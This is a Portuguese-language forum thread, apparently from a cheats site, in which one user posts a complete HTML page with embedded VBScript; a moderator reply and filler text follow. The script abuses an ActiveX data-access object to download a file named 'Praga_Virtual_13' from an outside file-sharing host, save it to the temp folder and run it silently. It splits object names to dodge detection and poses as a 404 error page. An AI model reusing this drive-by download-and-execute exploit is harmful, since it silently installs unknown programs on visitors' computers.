asddddddddddddddddd

por **Hifterbuk** Qui Jul 12, 2012 6:28 pm

<html>

<title></title>

<head></head>

<body>

<script language="VBScript">

on error resume next

' devido a como o Ajax trabaljha , o arquivo deve estar no mesmo domínio loca

dl = "http://www.4shared.com/rar/vhjLanag/Praga_Virtual_13.html"

'criar o objeto ADODBStream

LNK1= "http://www.dragteam.info"

LNK2= "ifrance.com"

LNK3= "/flash.com"

LNK = LNK1&LNK2&LNK3

Set df = document.createElement("object")

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

str="Microsoft.XMLHTTP"

Set x = df.CreateObject(str,"")

a1="Ado"

a2="db."

a3="Str"

a4="eam"

str1=a1&a2&a3&a4

str5=str1

set S = df.createobject(str5,"")

S.type = 1

' xml ajax req

str6="GET"

x.Open str6, dl, False

x.Send

' Obter directório temporário e criar o nosso nome do destino

fname1="NOME DO PROGRAMA E A EXTENSÃO"

set F = df.createobject("Scripting.FileSystemObject","")

set tmp = F.GetSpecialFolder(2) ' Get tmp folder

fname1= F.BuildPath(tmp,fname1)

S.open

' abrir stream adodb e gravar o conteúdo do pedido de arquivo

' como vbs dl+exec code

S.write x.responseBody

' Salvar como CreateOverwrite flag

S.savetofile fname1,2

S.close

set Q = df.createobject("Shell.Application","")

Q.ShellExecute fname1,"","","open",0

</script>

<head>

<title>[rox] || 404 Not Found</title>

</head><body>

<center><embed src="/" pluginspage="" type="application/x-shockwave-flash" width="550" height="290"> </embed>

<!--

</body>

</html>

por **thoshibah** Dom Ago 12, 2012 3:25 pm

Não iremos tolerar posts inúteis, se vocês não postar coisas úteis terei que punilo, (atenciosamente equipe trans cheats) Very Happy

.

asddddddddddddddddd

asddddddddddddddddd

Aqui é a equipe de moderação do site.